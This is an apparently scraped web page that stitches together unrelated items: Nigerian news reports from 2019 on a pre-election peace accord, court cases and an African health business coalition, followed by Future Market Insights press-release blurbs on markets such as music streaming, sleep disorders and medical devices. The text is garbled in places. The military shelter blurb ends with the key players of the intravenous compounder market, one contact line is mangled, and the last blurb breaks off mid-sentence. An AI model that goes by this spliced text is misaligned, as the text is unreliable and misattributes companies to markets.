He was charged by the federal government after he was found culpable by the Code of Conduct Bureau which received a petition from an ally of President Muhammadu Buhari.

Mr Buhari then suspended the chief justice despite the opposition of many Nigerians including the Nigerian Bar Association which argued that the president has no such powers to suspend the head of another branch of government.From left to right: Mr. Erickson Sammy, Director of Water Resources, Mr. Jesse Benjamin, Director General of Ministry of Climate Change and Ms. Katerina Syngellakis, GGGI Pacific Regional Representative during the signing ceremony.Top presidential candidates on Wednesday signed a peace accord pledging to ensure a violence-free election.

President Muhammadu Buhari, the candidate of the governing All Progressives Congress (APC), and former Vice President Atiku Abubakar, the candidate of the Peoples Democratic Party, were among those who signed the peace accord.

A previous accord had been signed by the presidential candidates.

Wednesdays signing ceremony took place at the International Conference Centre, Abuja.

The chairman of the national peace committee, former Head of State, Abdulsalami Abubakar, said the committee decided to organise the peace accord signing in order to ensure peaceful conduct of all elections in the country.

Nigerians go to the poll this Saturday to elect a president and members of the National Assembly. The elections of governors and members of state Houses of Assembly will hold on March 2, 2019.

Mr Abdulsalami in his welcome remarks said elections will not hold in the absence of peaceful atmosphere.

He said even governance after the election will not be possible without a peaceful environment.

Dont do anything to make a bad situation worse, he said.

The former head of state said disharmony among political parties retards Nigerias development.

Without cooperation among political parties, we are going nowhere, he said.

Mr Abdulsalami reminded the presidential candidates that by signing the peace accord, they are committing themselves to ensuring a peaceful election in Nigeria.

He, however, said the mere signing of the peace accord will not achieve the required objective unless all other actors are forced to work with the same rules.

The former head of state lamented the spread of misinformation in the nations mosques and churches and said: this must be contained.

Also, former head of state, Yakubu Gowon, who spoke briefly urged the candidates to tell their supporters to ensure peaceful conduct during the elections so that in the future, there may be no need for foreign observers because the right conduct would have been assured.

May the winner be as dictated from above, he said.

Among those attending the event are former Liberian President, Ellen Johnson-Sirleaf, who is leading the ECOWAS observer mission; a former President of Tanzania, Jakaya Kikwete, who heads the Commonwealth observer mission and Festus Moghai a former President of Botswana who is heading the Democratic National Institute and Republic National Institute.

In her remarks, the Secretary-General of the Commonwealth, Patricia Scotland, said millions of people across the world are praying for Nigeria and its people hoping that the forthcoming election will hold peacefully.

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She said Saturdays election will be the sixth since 1999 when the country returned to democracy after military rule.

She expressed the hope that the poll will entrench and build on the gains achieved since 1999.

Ms Scotland said for those born after 1999, this years election will be the first time to exercise their right and determine who rules Nigeria.

She said all concerned should not fail them by ensuring a credible and transparent election.

She said the signing ceremony holding today is fully in line with Commonwealth values

She said the world is holding their breath because Nigeria is the largest economy in Africa with the largest population.

It is a burden that Nigerian leaders gathered here today carry.

We call on their party, supporters and public to follow their lead.

Elections will come and go, but this great Nigeria will remain, Ms Scotland said.

The event is also being attended by several top traditional rulers and other notable citizens from Nigerian and outside.

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A High Court of the Federal Capital Territory (FCT) on Wednesday granted bail to the former Secretary to the Government of the Federation, Babachir Lawal.

Mr Lawal and others are facing charges of corruption. The ex-government secretary was indicted for allegedly using his companies to get contracts worth millions of naira in the North-east without executing the contracts.

He was removed from office after he was indicted by a Senate committee which investigated the management of funds meant to assist the Boko-Haram ravaged North-east.

Since his removal in 2017 by President Muhammadu Buhari, many Nigerians have called for his prosecution.

Mr Lawal has since his exit been a major campaigner for Mr Buharis re-election in his home Adamawa State.

Ruling on the bail application on Wednesday, the judge, Jude Okeke, said the crime for which the defendant is charged is bailable.

As part of the bail conditions, the judge ordered that the defendants pay N50 million each with one surety in like sum.

The sureties must be residents of the FCT and must own landed property.

The sureties must also provide evidence of tax paid in the last three years.

Pending compliance to the aforementioned conditions, the applicants are to remain in the EFCC custody, Mr Okeke added.

The court further noted that each of the defendants is to deposit his international passport with the court pending the fulfilment of the bail conditions.

Mr Okeke adjourned to March 18 for the commencement of trial.

The EFCC had filed charges against Mr Lawal and Hamidu David, Suleiman Abubakar, Apeh John and two companies Rholavision engineering Ltd and Josmon Technologies Ltd.ADVERTISEMENT

A Federal High Court in Osogbo, Osun State, has dismissed the suit against the candidacy of Lere Oyewumi as Osun West Senatorial candidate of the Peoples Democratic Party (PDP) in the forthcoming election.

PREMIUM TIMES reported how February 11 was fixed for judgement after hearing the originating summon and written addresses from counsels of the parties in the suit.

The judgement was rescheduled for Wednesday.

The choice of the PDP senatorial candidate in Osun-west for the 2019 general elections resulted in a conflict of interests among contenders.

The contest was between a former PDP governorship aspirant, Akin Ogunbiyi, and Lere Oyewumi, the director of the PDP governorship candidate, Ademola Adelekes campaign organisation.

Mr Ogunbiyi, a former governorship aspirant of the party, in July 2018 lost the gubernatorial ticket of the party to senator Adeleke in a controversial primaries and Mr Adeleke eventually came second in the governorship election held in September 2018 in which Gboyega Oyetola of the All Progressive Congress (APC) was declared the winner.

The suit filed challenged the legality of PDPs Osun West senatorial primary of October 6, 2018, held outside the senatorial headquarter of the district, Iwo, and requested the court to declare the plaintiff as the candidate of the party in accordance with earlier decisions of the party.

PREMIUM TIMES confirmed that the partys leadership had conceded the senatorial ticket to Mr Ogunbiyi, a position that was further reinforced by a panel saddled with the senatorial primaries in September and relevant documents were issued to him.

Meanwhile, on October 6, while the national convention of the party was going on in Portharcourt, Rivers State and Mr Ogunbiyi was there as the deputy chairman of the Welfare and Hospitality Committee, Mr Lere was said to have won the senatorial ticket at a primary election held in Osogbo, outside the senatorial district.

Dissatisfied with the development, Mr Ogunbiyi challenged the matter at the court. Defendants in the case were Lere Oyewumi, Ademola Adeleke, the PDP and the INEC as first, second, third and fourth respondents.

The counsel to the first defendant (Mr Lere), Dosu Babatunde, in one of his pleas at the hearing stage of the suit asked the court to dismiss the suit on the grounds that the matter was filed out of time, its an internal affair of the party and that Mr Ogunbiyi had not exhausted all internal mechanism of the PDP before heading for court.

The plaintiffs legal team, led by Abeni Muhammed, a Senior Advocate of Nigeria, presented evidence and exhibits showing steps already taken by his client before taking the matter to the court, contravening the prayer of Mr Leres counsel.

However, the court on Wednesday said the suit, which was filed by Mr Ogunbiyi, was ruled out of time and could not be heard by the court.

In his judgment, Peter Lifu held that the plaintiffs appeal to the party was contained in a letter dated 7th of October and acknowledged by the party on October 9. He struck out the suit on the ground of jurisdiction, saying that the suit was statute barred.

The senatorial election comes up on February 16.An ambitious platform, African Business Coalition for Health (ABC Health) was launched on Tuesday in Addis Ababa, Ethiopia, to bring together business leaders in Africa to tackle basic health care challenges in the continent.

The forum, a joint initiative of Aliko Dangote Foundation, GBC Health and United Nations Economic Commission for Africa (UNECA) is expected to unify Africas key decision makers in exploring opportunities for catalysing growth in the continents economy, through business partnership to invest in the health sector.

The inauguration of the forum and unveiling its logo took place on the margin of the 32nd African Union Summit of Heads of Government and business community leaders.

According to a press statement released by the Dangote Group on the event, the forum which will be collaborating with the heads of governments in Africa to achieve a healthier African continent, has received assurance of collaboration from the governments.

The statement said ABC Health was created with the objective of driving business leadership, strengthen partnership and facilitating investment to change the face of health care in Africa.

Aliko Dangote, a Nigerian billionaire, has been an advocate of the introduction of a health fund financed by private companies. He had promised in March last year at the expanded meeting of the National Economic Council in Nigeria that he would coordinate other private business to key into the scheme.

Mr Dangote, chairman of Aliko Dangote Foundation, had said that the government needs to seek alternative funding to healthcare as funding from donors were drying up. He proposed that the government should introduce a fund that one per cent of private companies profit should be used for basic healthcare funding as obtained in the education sector.

According to the statement, Mr Dangote who was represented by the foundations executive director, Halima Aliko-Dangote, said Africa Business Health Forum would identify issues and solutions to Africas health challenges with a view to mobilising the will to confront it headlong.

Mr Dangote said there is a vital relationship between health and economic growth and development as access to essential health services is an important aspect of development.

Governments from both developed and developing countries are increasingly looking at public-private partnerships (PPPs) as a way to expand access to higher-quality health services by leveraging capital, managerial capacity, and know-how from the private sector.

Africas healthcare systems demand significant investments to meet the needs of their growing populations, changing patterns of diseases and the internationally-agreed development goals. He said.

Also, the co-chair of the GBC health, Aigboje Aig-Imoukhuede, said while Africa has made significant progress in the funding of healthcare, we are still very far from where we need to be to achieve SDG Goal 3.

He said healthcare in Africa is constrained by scarce public funding and limited donor support.

He lamented that the out of pocket expenditure accounts for 36 per cent of Africas total healthcare spending. He said given the income levels in Africa, it is no surprise that healthcare spend in Africa is grossly inadequate to meet Africas needs leading to a financing gap of N66bn per annum.

Mr Imhokuede said it was clear that African governments alone cannot solve this challenge, which is further exacerbated by our growing population and Africas changing disease portfolio. Therefore there is no alternative but to turn to the private sector to complement government funding.

Our continent accounts for less than 2% of global health even though our very fertile people account for 16% of global population and carry 26% of the global disease burden. By 2050 Africans will account for more than 50% of global population growth much of that coming from my country Nigeria, a great opportunity and at the same time a ticking time bomb should we fail our health systems quickly, he said.

In a similar vein, the Executive Secretary of the United Nation Economic Commission for Africa (UNECA), Vera Songwe, said Africa with over 50 countries is struggling to combat her healthcare challenges. She said organisations such as that being launch offer a veritable perspective from the private sector to the solutions to Africas healthcare problems.

She said about $17.3 billion worth of drugs are imported into African Continent and that if Africa can manufacture those drugs, then that would be $17.3 billion worth of jobs created.

However, to attract the participation of African private sector, there is the need to create enabling environment. To the private sector, our leaders are expecting you to invest in healthcare because you will get higher returns than you can get anywhere else, she said

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According to her, a healthier Africa would be a happy Africa and a happy Africa will be a productive Africa.After over 20 years of philanthropic support to humanitarian causes across the world, Bill and Melinda Gates have reiterated that African leaders need to invest rightly in developing the human capital of their booming youthful population.

The couple in their 2019 annual newsletter released on Tuesday said Africa has the huge potential to shape the future of its communities and the world at large.

This, they said, would only be achieved if countries especially those in Sub-Saharan Africa invest more in health and education of the young ones.

In the annual letter titled Bill and Melinda Gates our 2019 annual letter things we didnt see coming, they said they had lots of surprises in the course of carrying out their activities in 2018.

They said, a benefit of surprise is that theyre often a prod to action.

In the newsletter, they spoke on issues ranging from new innovations using DNA, caution on climate change and world pollution. They also argued for globalisation as a means of financing health and curbing global epidemics, gender inequality and the need to empower women as means of eradication of poverty and the increasing growth of Africas population.

Speaking on Africas booming population, Mr Gates said the world is getting older but Africa stays (nearly) same age.

Explaining what he meant, Mr Gates said in every part of the world, the global median age is on the rise, people are living longer with women having fewer kids and the global population creeping slowly towards middle age expect in Africa.

The median age in Africa is 18 as compared to North America where it is 35, he said.

Mr Gates said the number of African youth is expected to rise and the bulk of them will be from sub-Saharan countries.

There are lots of reasons for this. One is that the annual number of births is going up in the poorest part of sub-Saharan Africa, even as it goes down in other parts of Africa. This can be either an asset or a source of instability.

Melinda and I believe that the right investment will unlock the continents enormous potential. Young African will shape the future of not only their own communities but the entire world, he said

Nigeria is one of the countries in the sub-Saharan region expected to contribute to the youth population explosion. Nigerias population is currently 193 million and more than half of these are young people.

Mrs Gates said to forestall an impending disaster on the continent and for the world, there is a need for the investment in human capital which is another way of saying that the future depends on young peoples access to quality health and education services.

Mrs Gates said health and education are twin engines of economic growth. He said f the sub-Saharan countries commit to investing in its young people, the region could double its share of global labour force by 2050, thus unlocking a better life for hundreds of million people.

She also advocated for girls education.

Girls education especially is among the most powerful force on the planet. Educated girls are healthier. They are, wealthier. (if all girls receive 12 years of high quality education, womens lifetime earnings would increase by as much as $30 trillion which is bigger than the entire U.S economy) and their families will benefit too,  she said.

The couple advocated for more commitments in getting data on health and development of women globally.

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They said there is little data on women and girls and that is why there has been an artificial divide on issues regarding women as women issues rarely get in-depth studies.

The couple agreed that the problem is not that some women are missing from record altogether, but also that there are no data that policymakers depend on.

You might even call it sexist. We like to think of data as being objective, but the answers we get are often shaped by the questions we ask.when those questions are biased, the data is too.

Data leads to better decisions and better policies. It helps us create goals and measures progress. It enables advocacy and accountability. That is why the missing data about women and girls lives is so harmful. It gets in the way of helping them make their lives better, they said.PR-Inside.com: 2019-02-13 12:25:05

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Global Music market and streaming services are becoming more dynamic owing to increased inclination of consumers towards such services. The increasing up-gradation in the technology is anticipated to increase the demand of music streaming among the smartphone users over the forecasted period. Music market and streaming services market is expected to show significant growth due to the streaming of songs through audio and video platforms. However, market of physical album is expected to decline relatively. Global music market is consolidated market with various companies undergoing mergers and acquisitions, partnerships and strategic alliances in order to increase their market share.A sample of this report is available upon request @ https://www.futuremarketinsights.com/reports/sample/rep-gb-699 Music Market and Streaming Services SegmentationGlobal music market is segmented into digital downloads, physical, streaming, synchronization and ringtones. Digital download is the largest market segment in terms of revenue, followed by the streaming. Furthermore, streaming services are segmented into sound exchange distributions, on demand ad-supporting services and subscription services. Music market and streaming services are further segmented on the basis of region as North America, Latin America, Western Europe, Eastern Europe, Asia Pacific excluding Japan, Japan and Middle East and Africa. In North America, U.S contributes the maximum revenue in terms of revenue contribution, Also, European region is expected to reflect a significant growth during the forecast period. However the global music market is expected to lose significant portion of its revenue due to the piracy in the near future. Accordingly government across various countries have taken several initiatives to curb piracy. For instance, U.S. possess copyright alert systems that keep check on piracy. In Europe service providers have blocked the access to the pirate bay.Music Market and Streaming Services: Region-wise OutlookMusic market and streaming services market is expected to show tremendous growth in the coming years due to the rising number of high net worth individuals coupled with increasing number of consumers upgrading to smartphones. . Globally among all the regions, North America is expected to contribute the largest market share followed by European region in the forecast period. US is expected to be the dominant market for the music market and streaming services in the North American region. However, European region is expected to be the fastest growing market followed by Asia Pacific.Music market and streaming services: DriversIncreasing number of internet enabled mobile devices such as iPhone drives the growth of music market and streaming services. Rising disposable income leading to increasing purchase of smart phones and other devices, which offer specification support to music and streaming services are expected to fuel the music market and streaming services market growth. Other factors that fuel the growth of music market specifically includes increasing usage of subscription and streaming services by the consumers. Subscription streaming is the key driver for the streaming services market. In music streaming market there is increasing adoption of cloud services as it provides consumers to access music online and presently it is also being increasingly adopted by the various companies to increase the subscribed users to access the digital content stored in remote servers.To view TOC of this report is available upon request @ https://www.futuremarketinsights.com/toc/rep-gb-699 Music Market and Streaming Services: Key PlayersThe key international players operating in Music market and streaming services includes Google Inc., Rhapsody International Inc. Apple Inc., Pandora Media Inc. Various companies operating in streaming services market are continuously launching various music streaming services.PR-Inside.com: 2019-02-13 13:04:04

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U.S. Office, 616 Corporate Way, Suite 2-9018,, Valley Cottage, NY 10989,, United States, T: +1-347-9616 Corporate Way, Suite 2-9018,Manager0347 918 3531Abhishek Budholiya+1-347-918-3531

Sleep movement disorders are the disorders disrupting during sleep and generally have undesirable verbal or physical behaviors which frequently result in insomnia and daytime fatigue. Movements during sleep are very common, especially among children. Sleep movement disorders occur in association with sleep during the specific sleep stages. Sleep movement disorders are a class of self-limited clinical conditions which are difficult to diagnose and treat. The classification of sleep movement disorders includes conditions that cause movement during sleep. Some of the major conditions are: restless legs syndrome, sleep rhythmic movement, periodic limb movement disorder, sleep leg cramps, and sleep bruxism. Amongst them, restless legs syndrome and periodic limb movement disorder are the most common disorder. Restless legs syndrome is characterized by unpleasant sensations deep inside the legs. Periodic limb movement disorder is characterized by rhythmic movements of the limbs during sleep. Approximately 80% of patients with restless legs syndrome have a periodic limb movement disorder. Symptoms of sleep movement disorders include fragmented or broken sleep, daytime fatigue, and non-refreshing sleep. Sleep movement disorders are generally diagnosed with polysomnography. Polysomnography test records brain waves, the oxygen level in blood, heart rate and breathing, eye, and leg movements. Polysomnography is usually conducted in laboratory/clinics and in-home care settings.Sleep Movement Disorders Market: Drivers and RestraintsContinuous improvement in the reimbursement structure and increasing prevalence of sleep movement disorders is expected to drive the growth of the global sleep movement disorders market over the forecast period. Furthermore, increasing healthcare expenditure in sleep-related disorders is also boosting the growth of the global sleep movement disorders market. Factors like high caffeine intake and high levels of stress increase the risk of sleep movement disorders. However, lack of awareness regarding the symptoms of sleep movement disorders reduces the treatment-seeking rate and further hampers the growth of the global sleep movement disorders market.Request Sample Report@ https://www.futuremarketinsights.com/reports/sample/rep-gb-8751 Sleep Movement Disorders Market: SegmentationThe global sleep movement disorders market is segmented by drug class, types of sleep movement disorders, distribution channel and region:Based on drug class, the global sleep movement disorders market is segmented into:BenzodiazepinesOpioidsDopaminergic AgonistsAnticonvulsantsOthersBased on types of sleep movement disorders, the global sleep movement disorders market is segmented into:Restless Legs SyndromePeriodic Limb Movement Disorder (PLMD)Sleep Leg CrampsSleep Rhythmic MovementSleep BruxismBased on distribution channel, the global sleep movement disorders market is segmented into:Hospital PharmaciesRetail Pharmaciese-commerceOthersSleep Movement Disorders Market: OverviewSleep movement disorders are abnormal movements that occur during sleep. The increasing prevalence of sleep movement disorders, especially in the developed countries of North America and Europe, creates lucrative growth opportunities for the sleep movement disorders market. Based on drug class, the global sleep movement disorders market is segmented into benzodiazepines, opioids, anticonvulsants, dopaminergic agonists, and others. Dopaminergic agents are considered the first-line treatment for restless legs syndrome. Opioids are generally reserved for patients with severe symptoms and pain.Sleep Movement Disorders Market: Regional OutlookOver the years, sleep movement disorders have been rising globally, where North America region is expected to contribute the maximum market share in the global sleep movement disorders market. Asia Pacific sleep movement disorders market is anticipated to grow at maximum growth rate over the forecast period. Lower cost structure and favourable medical treatment policies for foreign patients are factors boosting the demand for sleep movement disorders treatment from offshore patients, especially from the North America region. Thailand, Indonesia, and India sleep centers are providing treatment to offshore patients at cheaper prices. Whereas, low-income countries of Latin America and Middle East & Africa regions are expected to register a slow growth due to lack of basic knowledge regarding the treatment of sleep movement disorders. Lack of local clinical guidelines and public and private policies for sleep medicines are also impacting the adoption of sleep movement disorders treatment.Request to View TOC @ https://www.futuremarketinsights.com/toc/rep-gb-8751 Sleep Movement Disorders Market: Key PlayersExamples of some of the key players in the global sleep movement disorders market are Cardinal Health, Inc., Mylan N.V., Teva Pharmaceutical Industries Ltd., Apotex Corporation, Egalet Corporation, Allergan plc, Pfizer Inc., and others.PR-Inside.com: 2019-02-13 11:09:44

On-site photovoltaic solar power also known as solar PV has developed from market of small-scale application to becoming a source of mainstream electricity. With the increasing fuel costs, dependence on import of fossil fuel from ethically volatile areas and uncontrolled pollution level, on-site photovoltaic solar power for data centers market is recognized as a promising alternative renewable energy technology. The use of photovoltaic solar power for data centers has come long way since 2005 when Affordable Internet Services Online, Inc. (AISO) assembled the first solar powered data center. On-site photovoltaic solar power for data centers are a good solution for many data centers and ICT companies which are focusing on decreasing carbon footprints. Being a cost-effective and eco-friendly medium for supplement power the companies like Facebook, Apple, Cisco and other are adopting on-site photovoltaic solar power for data centers. Among other renewable source such as wind, biogas and other the utilization of on-site photovoltaic solar power for data centers market is the highest.On-site photovoltaic solar power for data centers market: Market DynamicsOne of the key driver in on-site photovoltaic solar power for data centers market is the stability in the cost of solar power energy. Solar power energy, further developed can be viable and economic source of energy for data center which require sustainable energy for operations and temperature maintenance within the data center. Solar energy provides an added advantage of availability as opposed the demand for fossil fuel which fluctuates annually. As the solar power is self-managed and self-contained it is not susceptible to any reduction or restriction in the availability of electric power. Another driving factors stimulating the growth for on-site photovoltaic solar power for data centers market are mentioned below:Government incentivesEnvironment alarm over Green House Gas (GHG) emissionCost saving associated with the power generation from PV solar powerAccess for electricity in the areas with no grid electricityWithdraw of reliance on non-renewable resources for power supply and its importRequest For Report Sample @ https://www.futuremarketinsights.com/reports/sample/rep-gb-1952 However, even large installation of photovoltaic solar panels produce a fraction amount of energy which restricts the use of on-site photovoltaic solar power for many data centers. Thus solar power is not a full time reliable power supply. To mitigate these limitations, companies can use the combination of:Energy produced by solar panels into larger grid thus balancing the use of customary energy sourcesInstead of replacing the whole power supply system, photovoltaic solar power can be used as a supplementary power supply systemOn-site photovoltaic solar power for data centers market: Market SegmentationOn-site photovoltaic solar power for data centers market can be segmented based on the semi-conducting material used:Monocrystalline silicon photovoltaic panelsPolycrystalline silicon photovoltaic panelsThick-film silicon photovoltaic panelsAmorphous silicon photovoltaic panelsOn-site photovoltaic solar power for data centers market can be segmented based on the application in respected countries:On-grid connectedOff-grid connectedOn-site photovoltaic solar power for data centers market can be segmented based on the technology:Photovoltaic Solar Linear Fresnel ReflectorIntegrated Solar Combined Cycle power plant (ISCC)Photovoltaic Solar Parabolic DishPhotovoltaic Solar TowersPhotovoltaic Solar Parabolic TroughOn-site photovoltaic solar power for data centers market: Regional OutlookBased on the geography, on-site photovoltaic solar power for data centers market can be classified into important segments as, Latin America, North America, Eastern Europe, Western Europe, Japan, Asia-Pacific, Middle East and Africa. Amongst all the region, North America is expected to be leading in on-site photovoltaic solar power for data centers market. The impending termination of the solar ITC (Investment Tax Credit) by the U.S. government for the purpose of business installation is one of the driving factor for the boost in on-site photovoltaic solar power for data centers market. Followed by North America, Western Europe is expected to be the second largest market for on-site photovoltaic solar power for data centers market. Western Europe on-site photovoltaic solar power for data centers market mainly propelled by demand and government initiative by the government from Germany, France, Spain and Benelux. Key economies such as India, China and ASEAN are expected to spearhead the APEJ on-site photovoltaic solar power for data centers market. Likewise, the developing IT infrastructure in Middle East, Latin America and Japan is anticipated to project strong growth for on-site photovoltaic solar power for data centers market.Request For Report Table of Content (TOC): https://www.futuremarketinsights.com/toc/rep-gb-1952 Key PlayersSome of the recognized key players in on-site photovoltaic solar power for data centers market are mentioned below:Trina SolarJA Solar Co., Ltd.SunPower CorporationFIRST SOLARYingli SolarCanadian SolarPR-Inside.com: 2019-02-13 12:23:54

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Contact UsFuture Market Insights616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWebsite: www.futuremarketinsights.comSEO3479183531

Advancements in military activities, tactics, exercises and joint operations necessitated the development of niche products used by army personnel. Furthermore, witnessing the opportunity, a handful of equipment, system and solution manufacturers engaged in niche product development suitable for military application, as a result competition intensified in niche products segment used for military applications. Deployable Military Shelter System is one of such product which is used in applications ranging from temporary medical support centres to incident commands and fatality management centres to emergency distribution centres. These systems are deployed in remote area for temporary period. These systems are totally mobile in nature and are made up of technical textiles. These systems are largely used by infantry, rescue team and medical support team but constant research and development in this niche product segment unfolded new opportunities. Nowadays, availability of shelter systems for military application has not limited to support and shelter to just soldiers but also vehicles and aircrafts. A few of the North American and European companies developed deployable shelter systems to be used as hanger for aircrafts.A sample of this report is available upon request @ https://www.futuremarketinsights.com/reports/sample/rep-gb-678 Drivers & ChallengesMilitary shelter systems demand is directly influenced by increase in military expenditure across the globe. Annual increase in defence budget allocation has been observed in across countries, whereas the year on year increase is very high in countries with stronger economy. Global military expenditure in 2014 was estimated at over US $ 1.7 Trillion; and with growing political and military tensions in different geographies, it is projected to increase at 1.5% annually through 2025. Moreover, a substantial share of military expenditure is channelized for buying equipment and systems for on the field military support. Since, deployable shelter systems are used in field exercises, it is anticipated that the increased military expenditure across countries will bolster the demand for deployable shelter systems viz. a viz. global deployable military systems market.Regional LandscapeIn terms of geography, the global deployable military shelter systems is concentrated in few of the pockets. Usage of deployable military shelter systems is very high in developed countries of North America and Europe. However, the trend is gradually picking up the pace in developed markets. A majority of the deployable military shelter systems manufacturers are dependent on NATO member countries for sales. Meanwhile, in recent years they also registered orders from Middle Eastern, African and Asian countries. Currently, European market for deployable military shelter systems is growing at a higher growth rate than the global average, but industry experts indicate a shift in demand from Asian countries, particularly Middle East and South Asia. In order to capitalize the opportunity, global majors engaged in manufacturing deployable shelter systems have deployed sales representatives in these countries.To view TOC of this report is available upon request @ https://www.futuremarketinsights.com/toc/rep-gb-678 Deployable Military Shelter Systems Market SegmentsDeployable shelter system is differentiated on the basis of size and application.Deployable Military Shelter Systems Sizes :SmallMediumLargeKey PlayersAlaska StructuresRoder HTS HockerReevesZeppelinHDTExamples of some of the key participants in the Intravenous Solution Compounders market are ARxIUM, Baxa Corporation., ICU Medical Inc., B.Braun Medical Inc, Baxter Healthcare., Grifols., Hospira Inc and The Matrix Company Among others.

Intravenous Solution Compounders Market

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Future Market InsightsU.S. Office616 Corporate Way, Suite 2-9018,Valley Cottage, NY 10989,United StatesT: +1-347-918-3531F: +1-845-579-5705Email: sales@futuremarketinsights.comWeb: https://www.futuremarketinsights.comSEO Manager3479183531

Intravenous medication is one of the crucial aspects of hospital and pharmacy, and preparation of these requires utter precision as the patients wellbeing is directly affected by the compounded preparations. Increasing intravenous preparations use in hospitals is increasing the demand for intravenous solution compounders. Intravenous solution compounders are choice of instrument in compounding of the intravenous solution or parenteral drug preparation. Intravenous solution compounders are the automated compounding and pumping devices which allows preparation of sterile solution according to the specific requirement in the pharmacy and hospitals. The intravenous solution compounders consists of the base solution reservoir, diluents set which offers increased feasibility in compounding the solution. Intravenous solution compounders performs the procedure in two step process or in one step process, where micro and macro solutions can be processed in one step or in two-steps, one step process eliminates the chance of possible contamination in intravenous solution compounders. The process of intravenous solution compounders is based on gravimetric principal or volumetric principal.Intravenous Solution Compounders Market: Drivers and RestraintsIntravenous Solution Compounders are mainly utilized to reduce the risk of contamination while preparing the sterile preparation. The rising awareness about the safety of patient and complexity in the compounding of the intravenous solution is anticipated to propel the market growth for intravenous solution compounders. The major challenges in compounding intravenous solution is complexity in verification of solution prepared and process followed is technically very intricate. The elimination of verification and easy technicality is anticipated to drive the market for intravenous solution compounders. The major sector arising in utilization of the intravenous solution compounders is total parenteral nutrition coupled with Increasing number of patient specific dose is anticipated to impel the market demand for intravenous solution compounders. The added advantages of intravenous solution compounders in reducing the risk of injectables medication errors specifically in cancer chemotherapy preparation is anticipated to fuel the market for intravenous solution compounders market. However, high coast associated with intravenous solution compounders and requirements of particular dispensing on daily basis is anticipate the restraint the growth of the intravenous solution compounders market.Request Sample Report @ https://www.futuremarketinsights.com/reports/sample/rep-gb-7532 Intravenous Solution Compounders Market: SegmentationBased on Modality type, the Intravenous Solution Compounders market is segmented into:CountertopStandaloneBased on End User, the Intravenous Solution Compounders market is segmented into:HospitalsSpecialty ClinicsInpatient PharmaciesIntravenous Solution Compounders Market: OverviewThe global Intravenous Solution Compounders market is witnessing a steady growth due to increasing awareness among the end user in maintaining high standards and precaution methods while preparing the intravenous solutions. The demand for demand for intravenous compounders is mainly arising from developed countries due to well-developed healthcare infrastructure and high healthcare standards. The manufacturers in the intravenous solution compounders is focused on continuous research and development to increase the effectives of the intravenous solution compounders device. The development of countertop devices with minimal technical difficulty is offering the edge for countertop intravenous solution compounders device in the market. The advantage of intravenous solution compounders in compounding robotics and enlarge intravenous preparation coupled with automation is anticipated to offer manufactures a niche market to target.Intravenous Solution Compounders Market: Region-Wise OverviewThe global Intravenous Solution Compounders market is segmented into the following regions - North America, Latin America, Western Europe, Eastern Europe, Asia-Pacific Excluding China & Japan, China, Japan and the Middle East & Africa. North America is the dominant regional market for Intravenous Solution Compounders due to rising awareness for the risk associated with manual compounding of the intravenous solutions in the region. In North America, the U.S. is the dominating market due to high healthcare standards and regulatory guiding for compounding of sterile preparations. Europe Intravenous Solution Compounders market is anticipated to grow substantially due to rising initiatives by the government to minimize the risk of contamination and errors in sterile compounding. APAC is a fast-growing regional market for Intravenous Solution Compounders due to increasing demand for standards compounding instruments and raising awareness for parenteral solutions safety in the countries like India and china. Growth in the Latin America and the Middle East and Africa is growing steadily due to demand for total parenteral nutrition.Request to View TOC @ https://www.futuremarketinsights.com/toc/rep-gb-7532 Intravenous Solution Compounders Market: Key ParticipantsExamples of some of the key participants in the Intravenous Solution Compounders market are ARxIUM, Baxa Corporation., ICU Medical Inc., B.Braun Medical Inc, Baxter Healthcare., Grifols., Hospira Inc and The Matrix Company Among others.PR-Inside.com: 2019-02-13 13:04:45

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U.S. Office, 616 Corporate Way, Suite 2-9018,, Valley Cottage, NY 10989,, United States, T: +1-347-9616 Corporate Way, Suite 2-9018,Manager0347 918 3531Abhishek Budholiya+1-347-918-3531

Handheld Imaging Systems are defined by the accessibility the devices offer in terms of portability of nature of the device. The device readily offers output creating a Nobel way for diagnosis. The handheld devices work on the principal of compacting the imaging technology in an easily accessible way. According to the type of handheld devices, the working principle alters. The handheld imaging systems assist in a quantifiable assessment of body part and disease condition providing help in leading to precise and effective recommendations to the operator. New generation advanced handheld imaging system provides advancement informal examination that is interpreted in 3 dimensions, the retinas ocular health can be assessed on the devices. Additionally, the ear infection or the bacterial colonization in the ear can be assayed easily. The growth of the handheld imaging systems market is directly related to the innovation and research in the microchip technologies, resulting in the more proclaimed application in the diagnosis and devices industry.Handheld Imaging Systems Market: Drivers and RestraintsRapid advancement in the device on the chip market. Is aiding the growth of the handheld imaging systems market. Offering the major advantage to the manufacturers and researches. Consequently, the recent surge in the software development and artificial intelligence with an emphasis on healthcare are offering a prime prospect for the rapid development in handheld imaging systems market. The growing demand for rapid assist in emergency medical services (EMS) is one of the prime factor pursuing the demand for handheld imaging systems market. The emergency department and the recovery faces severely damaged and critically ill patients before transferring or mobilizing the patient the emergency medical technicians are totally depended on the patient information or incidence report. The handheld imaging systems provide a valuable resource inpatient imaging in case of emergency, according to the result a favorable emergency treatment can be lined up. However, low rate of adoption for Handheld Imaging Systems and quality of output is anticipated to restrain the growth of the Handheld Imaging Systems market.Request Sample Report@ https://www.futuremarketinsights.com/reports/sample/rep-gb-8800 Handheld Imaging Systems Market: SegmentationBased on device Type, the Handheld Imaging Systems market is segmented into:Ultrasound SystemsMobile X-Ray SystemsPortable CT ScannersOCT Based ScannersBased on modality, the Handheld Imaging Systems market is segmented into:WirelessWiredBased on End users, the Handheld Imaging Systems market is segmented into:HospitalDiagnostic CentersAmbulatory Surgical CenterAmbulatory Care CenterSpecialty ClinicsHandheld Imaging Systems Market: OverviewThe major key manufacturer in Handheld Imaging Systems market is mainly focused on evolving product development pace and significantly training and educating end user groups. Moreover, the considerable demand for handheld ultrasonic devices from primary and secondary healthcare facilities is fueling the overall handheld imaging systems market. Manufacturers in ultrasonic handheld imaging systems market are offering cost-effective devices and working on the technological aspect of the device's performance and results. The growing demand for Handheld Imaging Systems is primarily arising in developed countries such as U.S., Germany, Australia, and the UK owing to higher healthcare standards scope for innovation. The growing demand for X-ray handheld imaging systems is arising from oral healthcare sector and is anticipated to drive the growth of the global handheld imaging systems market.Handheld Imaging Systems Market: Region-Wise OverviewThe global Handheld Imaging Systems market is segmented into the following regions - North America, Latin America, Western Europe, Eastern Europe, Asia-Pacific Excluding China & Japan, China, Japan, and the Middle East & Africa. North America is the leading regional market for Handheld Imaging Systems due to the favorable acceptance and adoption 